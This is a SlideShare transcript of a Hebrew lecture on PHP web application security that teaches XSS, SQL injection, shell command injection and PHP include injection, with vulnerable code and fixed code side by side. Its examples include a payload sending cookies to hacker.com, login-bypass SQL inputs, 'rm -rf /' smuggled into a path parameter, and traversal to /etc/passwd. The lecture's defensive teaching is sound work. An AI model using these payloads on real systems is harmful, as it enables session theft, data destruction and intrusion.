PHP ואבטחה - חלק ראשון
Upcoming SlideShare
Loading in...5
×
 

PHP ואבטחה - חלק ראשון

on

  • 4,810 views

הרצאה על PHP ואבטחה, זהו החלק הראשון שלה מתוך שניים.

הרצאה על PHP ואבטחה, זהו החלק הראשון שלה מתוך שניים.

A lecture in Hebrew about PHP and security from a meeting of the Israeli PHP User Group.

Statistics

Views

Total Views
4,810
Views on SlideShare
4,719
Embed Views
91

Actions

Likes
0
Downloads
31
Comments
0

4 Embeds 91

http://php-israel.org 67
http://www.php-israel.org 12
http://www.slideshare.net 10
http://www.linkedin.com 2

Accessibility

Categories

Upload Details

Uploaded via as Adobe PDF

Usage Rights

CC Attribution-NonCommercial-ShareAlike LicenseCC Attribution-NonCommercial-ShareAlike LicenseCC Attribution-NonCommercial-ShareAlike License

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

PHP ואבטחה - חלק ראשון PHP ואבטחה - חלק ראשון Presentation Transcript

  • ‫, אפליקציות ווב ואבטחה‬PHP I ‫חלק‬ ‫שחר עברון‬ .Copyright © 2007, Zend Technologies Inc
  • ‫מי? מה? מתי?‬ ‫אבטחה ב- ‪ ,web‬וב- ‪ PHP‬במיוחד, היא נושא טעון‬ ‫•‬ ‫‪ ‬מצד אחד, ה- ‪ web‬מכיל הרבה מאוד מידע, שחלק גדול ממנו הוא‬ ‫רגיש / אישי / בעל ערך )כזה שמשתלם לגנוב אותו(‬ ‫‪ ‬מצד שני, ה- ‪ web‬הוא סוג של ”מערב פרוע“ שבו אין חוקים והכל‬ ‫יכול לקרות‬ ‫‪ PHP ‬היא אחת השפות הפופולריות ביותר ב- ‪ ,web‬בייחוד אצל‬ ‫מתכנתים מתחילים שפחות מודעים לסכנות‬‫‪ ‬רוב האפליקציות שנכתבות ב- ‪ PHP‬הם תוכנה חופשית. לכן, קל יותר‬ ‫לאתר פרצות אבטחה‬ ‫‪ ‬בעבר, היו מספר נסיונות )לא מאוד מוצלחים( לפתור בעיות אבטחה‬ ‫ברמת השפה‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫2 |‬
  • ‫כללים בסיסיים‬
  • ‫מה זה אבטחה ובשביל מה זה טוב?‬‫בשביל לפתור בעיות אבטחה, חשוב קודם כל להבין מה זה‬ ‫•‬ ‫בדיוק ”בעיות אבטחה“:‬ ‫אובדן פוטנציאלי של מידע רגיש‬ ‫‪‬‬ ‫אובדן פוטנציאלי של שעות עבודה‬ ‫‪‬‬ ‫אובדן פוטנציאלי של ‪uptime‬‬ ‫‪‬‬ ‫== אובדן פוטנציאלי של רווח‬ ‫‪‬‬‫אבטחה היא אוסף של אמצעים שעלינו לנקות ע“מ למנוע‬ ‫•‬ ‫או לצמצם אובדן פוטנציאלי של רווח‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫4 |‬
  • ‫גישה נכונה לאבטחת אפליקציות ווב‬ ‫אפליקציה לעולם לא תהיה מאובטחת ב-%001‬ ‫•‬ ‫‪ ‬וגם אם כן, זו תהיה טעות קונספטואלית לחשוב ככה...‬‫גישת עומק – נקיטה של מספר אמצעים חופפים כדי להשיג‬ ‫•‬ ‫אבטחה טובה יותר‬ ‫מודעות למה שאנחנו לא מודעים אליו‬ ‫•‬ ‫‪ ‬היכולת לתקן פרצות אבטחה עתידיות יותר חשובה מקוד %001‬ ‫מאובטח‬ ‫• == ארכיטקטורה יותר חשובה מאבטחה!‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫5 |‬
  • ‫לעולם אסור לבטוח במידע חיצוני!‬ ‫אבל מה זה בדיוק מידע חיצוני?‬ ‫•‬ ‫‪GET, POST, COOKIE‬‬ ‫‪‬‬ ‫‪FILES, SERVER‬‬ ‫‪‬‬ ‫‪ ,ENV‬בסיס נתונים, קבצים על הדיסק ‬ ‫‪‬‬ ‫“אם יש ספק – אין ספק!“‬ ‫‪‬‬ ‫מה עושים עם מידע חיצוני?‬ ‫•‬ ‫‪ ‬סינון – ‪ ,filtering‬בדיקת תקינות - ‪validation‬‬ ‫• רשימה לבנה – ‪ – whitelisting‬לדוגמה ‪ HTML Tags‬מותרים‬‫• רשימה שחורה – ‪ – blacklisting‬לדוגמה מילים אסורות בפורום‬ ‫‪ ‬חילוּף - התאמה לפורמט נדרש - ‪escaping‬‬‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫6 |‬
  • ‫סביבת ‪ PHP‬מאובטחת‬
  • ‫‪display_errors‬‬ ‫בפיתוח: ‪On‬‬ ‫•‬ ‫‪ ‬קוד נקי לחלוטין משגיאות‬ ‫‪ ‬הודעות ‪ NOTICE‬מעידות לעיתים קרובות על ”חורי‬ ‫אבטחה“ )לדוגמה: הודעות על משתנים לא מאותחלים(‬ ‫בזמן ריצה: ‪Off‬‬ ‫•‬ ‫‪ ‬מניעה של זליגת מידע פנימי אל המבקרים באתר‬ ‫‪ ‬זה לא נראה טוב ;-(‬‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫8 |‬
  • ‫‪register_globals‬‬ ‫כאשר פועל, ‪ PHP‬ירשום משתנים ב-‪ global scope‬באופן‬ ‫•‬ ‫אוטומטי לכל משתנה ‪ GET, POST, COOKIE‬וכו.‬ ‫לא נמצא בשימוש רב בשנים האחרונות )מכובה כברירת‬ ‫•‬ ‫מחדל מאז 2.4( אבל עדיין אפשר למצוא אפליקציות‬ ‫ש“סומכות“ על ‪.register_globals‬‬‫פותח פרצות אבטחה פוטניאליות רבות – מאפשר ”הזרקה“‬ ‫•‬ ‫של משתנים לתוך ה- ‪global namespace‬‬ ‫‪ ‬אם חייבים להתשמש – חובה לאתחל את כל המשתנים‬ ‫)‪(! E_NOTICE‬‬ ‫הרגל רע גם מסיבות אחרות:‬ ‫•‬ ‫‪ ‬קוד לא נייד )‪(portable‬‬ ‫‪ Deprecated ‬ב- 0.6 ‪PHP‬‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫9 |‬
  • ‫‪magic_quotes_gpc‬‬‫אם מופעל, ‪ PHP‬יוסיף לוכסן )‪ (backslash‬לפני כל גרש )(,‬ ‫•‬‫גרשיים )”(, לוכסן אחורי )( ו- ‪ null‬שנכנסים ב- ‪GET, POST‬‬ ‫ו- ‪.COOKIE‬‬ ‫“פיצר“ שהיה אמור למנוע ‪ SQL Injections‬ברמת השפה‬ ‫•‬ ‫בפועל, מספק פתרון חלקי ביותר‬ ‫•‬ ‫‪ ‬אין תמיכה בקידודים שונים‬ ‫‪ ‬אין תמיכה בכל בסיסי הנתונים השונים‬ ‫‪ ‬תמיד עדיף להשתמש בפונקציית ‪ escaping‬ייעודית‬ ‫יש עוד סיבות לכבות חוץ מאבטחה‬ ‫•‬ ‫‪ ‬רע מבחינת ביצועים‬ ‫‪ ‬לא פורטבילי, ייבוטל ב- 0.6 ‪PHP‬‬ ‫בקיצור, לא להתבסס על ‪magic_quotes_gpc‬‬ ‫•‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫01 |‬
  • ‫*_‪allow_url‬‬ ‫‪allow_url_fopen‬‬ ‫•‬‫‪ ‬מאפשרת פתיחה של קבצים מרוחקים בעזרת ה- ‪stream wrappers‬‬ ‫הנתמכים )בד"כ ‪ HTTP, FTP, SSH‬וכו( בפונקציות התומכות בכך‬ ‫)‪ ,fopen, file_get_contents‬ועוד רבות(.‬ ‫‪ ‬פועל כברירת מחדל, כדאי בהחלט לכבות אם לא צריך‬ ‫‪allow_url_include‬‬ ‫•‬ ‫מאפשרת הרצה של קוד ‪ PHP‬מרוחק דרך ‪stream wrappers‬‬ ‫‪‬‬ ‫קיים מאז 2.5 ‪PHP‬‬ ‫‪‬‬ ‫כבוי כברירת מחדל‬ ‫‪‬‬ ‫‪Code injection waiting to happen‬‬ ‫‪‬‬ ‫איזה סיבה לעזאזל יש למישהו להפעיל דבר כזה?!?!‬ ‫‪‬‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫11 |‬
  • ‫התקפות הזרקה‬Injection Attacks
  • ‫‪Cross-Site Scripting - XSS‬‬ ‫הזרקה של קוד ‪client-side‬‬ ‫•‬ ‫‪HTML ‬‬ ‫‪CSS ‬‬ ‫‪JavaScript ‬‬ ‫אחת החולשות הנפוצות ביותר‬ ‫•‬‫התוקף שותל קוד זדוני שיפורש ויוצג / יופעל ע“י הדפדפן‬ ‫•‬ ‫של הקורבן‬ ‫יכולה לשמש כ“מקפצה“ להתקפות נוספות – השחתה,‬ ‫•‬ ‫‪ ,phishing, session hijacking‬גניבת סיסמאות וכו‬ ‫קבועה – ‪ persistent‬לעומת זמנית – ‪non-persistent‬‬ ‫•‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫31 |‬
  • ‫ - דוגמה‬XSS XSS -‫כל הדפסה של קלט מהמשתמש ללא חילוף פגיעה ל‬ •<body> <h1>Welcome to my site</h1> <form> <fieldset title="Search"> Search for: <input type="text" name="q" value="<?php echo (isset($_GET[q]) ? $_GET[q] : ); ?>" />&nbsp; <input type="submit" value="Search" /> </fieldset> </form><?php if (isset($_GET[q])): ?> <h2>Search results for "<?php echo $_GET[q]; ?>":</h2> <ul> <li>...</li> <li>...</li> <li>...</li> </ul><?php endif; ?></body> | J an 19, 2008 ‫ ואבטחה‬PHP | 14
  • ‫ - דוגמה‬XSS :JavaScript ‫ בעזרת הזרקת קוד‬session ID ‫גניבת‬ • <script>alert(document.cookie);</script> <script>i=new Image(); i.src=http://hacker.com/owned.php? + document.cookie;</script> | J an 19, 2008 ‫ ואבטחה‬PHP | 15
  • ‫‪Cross-Site Scripting - XSS‬‬‫כמו כל התקפות ההזרקה, קל מאוד למנוע בעזרת פונקציות‬ ‫•‬ ‫חילוף ייעודיות:‬ ‫‪htmlspecialchars() ‬‬ ‫‪htmlentities() ‬‬‫במקרים בהם רוצים להרשות ‪ ,HTML‬חובה לסנן את הקלט‬ ‫•‬ ‫לפי "רשימה לבנה"‬‫‪ ‬להרשות רק תגים מסויימים - לדוגמה ‪strong, em, u, div, a, span‬‬ ‫‪ ‬להרשות רק ‪ attributes‬מסוימים - לדוגמה ‪ href‬ולא ‪style‬‬ ‫‪ ‬יש ספריות מוכנות לסינון ‪HTML‬‬ ‫• ‪http://htmlpurifier.org‬‬ ‫‪ ‬אפשר לבצע לבד בקלות בעזרת ‪ tidy‬או ‪DOM‬‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫61 |‬
  • ‫ – דוגמה מתוקנת‬XSS ‫ לפני הדפסה‬htmlspecialchars -‫שימוש ב‬ • Search for: <input type="text" name="q" value="<?php echo (isset($_GET[q]) ? htmlspecialchars($_GET[q], ENT_QUOTES) : ); ?>" />&nbsp; <input type="submit" value="Search" /> </fieldset> </form><?php if (isset($_GET[q])): ?> <h2>Search results for "<?php echo htmlspecialchars($_GET[q]); ?>":</h2> <ul> <li>...</li> <li>...</li> <li>...</li> </ul><?php endif; ?> | J an 19, 2008 ‫ ואבטחה‬PHP | 17
  • ‫‪SQL Injection‬‬‫הזרקה של קוד לקלט מתוך ידיעה שהקלט יישלך לבסיס‬ ‫•‬ ‫הנתונים ויפורש שם כקוד ‪SQL‬‬ ‫יכול להוות בסיס לפעילויות שונות, לדוגמה:‬ ‫•‬ ‫עקיפה של סיסמאות ושינוי הרשאות‬ ‫‪‬‬ ‫שינוי נתונים‬ ‫‪‬‬ ‫השחתה של בסיס הנתונים )‪(DOS‬‬ ‫‪‬‬ ‫מחיקה של בסיס הנתונים )‪(DOS‬‬ ‫‪‬‬‫בעיה נפוצה מאוד – הרבה מאוד אפליקציות ווב מעבירות‬ ‫•‬ ‫קלט מהמשתמש אל בסיס הנתונים‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫81 |‬
  • ‫ – דוגמה‬SQL Injection ‫ ללא חילוף / בדיקה‬SQL -‫שליחה של מידע חיצוני כחלק מ‬ •$username = $_POST[username];$password = $_POST[password];$sql = "SELECT 1 FROM users " . "WHERE user = $username AND password = MD5($password)";$res = mysql_query($sql); :‫ניתן להכניס את הקלט הבא ע“מ לנצל את הפרצה‬ • :‫ עקיפה של מנגנון הסיסמה‬username= OR = password=) OR MD5() = MD5( ‫, שינוי נתונים‬DOS ,‫ ניתן לבצע גם השחתה של בסיס הנתונים‬ .‫וסיסמאות ועוד‬ | J an 19, 2008 ‫ ואבטחה‬PHP | 19
  • SQL Injection:‫כמו כל התקפות ההזרקה, קל מאוד למנוע בעזרת חילוף‬ • ‫ ייעודיות של בסיס הנתונים‬escaping ‫ פונקציות‬ mysql_real_escape_string • pg_escape_string • ‫• וכו‬ Casting to integer / float  PDO-<quote()  !‫ לא טוב מספיק‬addslashes()  Prepared Statements • PDO, MySQLi  ‫ בהרבה מקרים עדיף גם מבחינת ביצועים‬ | J an 19, 2008 ‫ ואבטחה‬PHP | 20
  • ‫ – קוד תקין‬SQL Injection mysql – ‫חילוף‬ •$con = mysql_connect(....);$username = mysql_real_escape_string($_POST[username]);$password = mysql_real_escape_string($_POST[password]);$sql = "SELECT 1 FROM users " . "WHERE user = $username AND password = MD5($password)";$res = mysql_query($sql); PDO – ‫חילוף‬ •$pdo = new PDO("mysql:dbname=mydb", user, password);$username = $pdo->quote($_POST[username]);$password = $pdo->quote($_POST[password]); | J an 19, 2008 ‫ ואבטחה‬PHP | 21
  • ‫ – קוד תקין‬SQL Injection Integer -‫המרה ל‬ •$user_id = (int) $_GET[user_id];$sql = "SELECT * FROM users WHERE id = $user_id"; Prepared statement - PDO •$pdo = new PDO("mysql:dbname=mydb", user, password);$stmt = $pdo->prepare( "SELECT 1 FROM users " . "WHERE user = :username AND password = MD5(:password)");$result = $stmt->execute(array( username => $username, password => $password)); | J an 19, 2008 ‫ ואבטחה‬PHP | 22
  • ‫‪Shell Command Injection‬‬ ‫הזרקה של קוד אל "מערכת ההפעלה" תוך ניצול של‬ ‫•‬ ‫פקודות ‪ PHP‬שמריצות פקודות מערכת‬ ‫‪ ‬אופרטור ‪(``) backtick‬‬ ‫‪ ‬משפחת )(‪exec‬‬‫לא נפוץ מאוד – אבל חשוב מאוד להיזהר כאשר מכניסים‬ ‫•‬ ‫פרמטרים לתוך פקודות אלו, מפני שהסכנות גדולות מאוד‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫32 |‬
  • ‫ - דוגמה‬Shell Injection ‫שימוש במידע חיצוני בפקודות מערכת‬ •// Get a listing of a public directory$folder = $_GET[path];echo <pre>;passthru("ls -l /ftp/public/$folder");echo </pre>; :‫ניתן להכניס את הקלט הבא ע“מ לנצל את הפרצה‬ • :‫ מחיקה של כל הקבצים שיש לשרת גישה אליהם‬path=foo; rm -rf / :Denial of Service path=foo; sleep 315360000 ‫ ...בעיקרון ניתן להריץ כמעט כל פקודת מערכת‬ | J an 19, 2008 ‫ ואבטחה‬PHP | 24
  • ‫‪Shell Command Injection‬‬‫כמו כל התקפות ההזרקה, קל מאוד למנוע בעזרת פונקציות‬ ‫•‬ ‫חילוף ייעודיות:‬ ‫‪escapeshellarg() ‬‬ ‫‪escapeshellcmd() ‬‬ ‫‪ ‬ההבדל ביניהם – השניה לא מחליפה רווחים‬‫אם מכניסים קלט מהמשתמש לתוך פקודות מערכת, כדאי‬ ‫•‬ ‫מאוד להשתמש ב- ‪ whitelist filtering‬ובווידוא שהקלט‬ ‫תקין‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫52 |‬
  • ‫ – קוד תקין‬Shell Injection ‫חילוף – פרמטר בודד‬ •$folder = escapeshellarg($_GET[path]);echo <pre>;passthru("ls -l /ftp/public/$folder");echo </pre>; ‫חילוף – כל הפקודה‬ •$cmd = escapeshellcmd("ls -l /ftp/public/$folder");echo <pre>;passthru($cmd);echo </pre>; | J an 19, 2008 ‫ ואבטחה‬PHP | 26
  • ‫ – קוד תקין‬Shell Injection ‫סינון לפי רשימה לבנה‬ •// White-list filtering:$allowed_paths = array( videos, images, music, books, uploads);if (in_array($_GET[path], $allowed_paths)) { $folder = $_GET[path]; echo <pre>; passthru("ls -l /ftp/public/$folder"); echo </pre>;} | J an 19, 2008 ‫ ואבטחה‬PHP | 27
  • ‫‪PHP Code Injection‬‬ ‫הזרקה של קוד ‪ PHP‬לתוך התוכנית‬ ‫•‬ ‫פונקציות שצריך לשים אליהם לב:‬ ‫•‬ ‫‪ ‬קריאות ל- ‪ include‬או ‪ require‬עם שם קובץ משתנה‬ ‫• רגיש בעיקר כש- ‪allow_url_include=On‬‬ ‫‪eval() ‬‬ ‫‪ preg_replace() ‬עם ‪/e‬‬ ‫‪create_function() ‬‬‫‪ ‬כאשר משתמשים בפונקציות אלו עם משתנים מבחוץ, חשוב מאוד‬ ‫לבצע ‪ validation‬ו- ‪white-list filtering‬‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫82 |‬
  • ‫‪ - PHP Code Injection‬דוגמה‬ ‫קריאת קבצים ע“י ניצול ‪include‬‬ ‫•‬‫;]‪$tpl = $_GET[template‬‬‫;‪include templates/ . $tpl‬‬ ‫ניתן להכניס את הקלט הבא ע“מ לנצל את הפרצה:‬ ‫•‬ ‫‪ ‬קבלת רשימה של כל המשתמשים במערכת ההפעלה:‬ ‫‪template=../../../../../../../../etc/passwd‬‬ ‫אם ‪ allow_url_include‬מופעל, קוד זה מאפשר‬ ‫•‬ ‫הרצה של קוד ‪ PHP‬שרירותי על השרת‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫92 |‬
  • ‫ – קוד תקין‬PHP Code Injection :‫המנעות ע“י סינון לפי רשימה לבנה‬ •$templates = array( blue => templates/blue.phtml, aqua => templates/aqua.phtml, ugly => templates/ugly.phtml);$tpl = (isset($templates[$_GET[template]]) ? $templates[$_GET[template]] : templates/blue.phtml);include $tpl; ‫באופן כללי רצוי להנע לחלוטין משימוש במידע חיצוני כחלק‬ • ‫ וכו‬include, eval ‫מפקודות כמו‬ | J an 19, 2008 ‫ ואבטחה‬PHP | 30
  • ‫סיכום – התקפות הזרקה‬ ‫התקפות הזרקה הם כנראה הנפוצות ביותר ב- ‪web‬‬ ‫•‬ ‫‪ ‬החדשות הטובות: יחסית קל לאתר ולפתור אותן ‬‫כל התקפות ההזרקה דומות באופיין, וגם באופן הטיפול בהן‬ ‫•‬ ‫"דע מאין בא ה- ‪ data‬ולאן הוא הולך“‬ ‫•‬ ‫‪ ‬האם אפשר לבטוח במקור הנתונים?‬ ‫‪ ‬מה הפורמט הבטוח שבו אפשר להשתמש בנתונים?‬ ‫טיפול בהתקפות הזרקה ע“י סינון קלט טוב רק במקרים‬ ‫•‬ ‫מסוימים‬ ‫‪ ‬בד“כ חילוף )‪ (output escaping‬עדיף‬ ‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫13 |‬
  • ‫שאלות?‬
  • ‫בחלק ‪II‬‬ ‫התקפות ‪Session‬‬ ‫•‬ ‫‪Session Injection ‬‬ ‫‪Session Hijacking ‬‬ ‫טעויות לוגיות ותכנותיות‬ ‫•‬ ‫‪CSRF ‬‬ ‫‪ ‬חשיפת קבצים סטטיים‬ ‫גישות ואמצעי אבטחה כלליים‬ ‫•‬ ‫אבטחה בסביבת ‪shared hosting‬‬ ‫•‬‫8002 ,91 ‪| J an‬‬ ‫‪ PHP‬ואבטחה‬ ‫33 |‬
  • ‫תודה רבה‬ ‫ושנה טובה!‬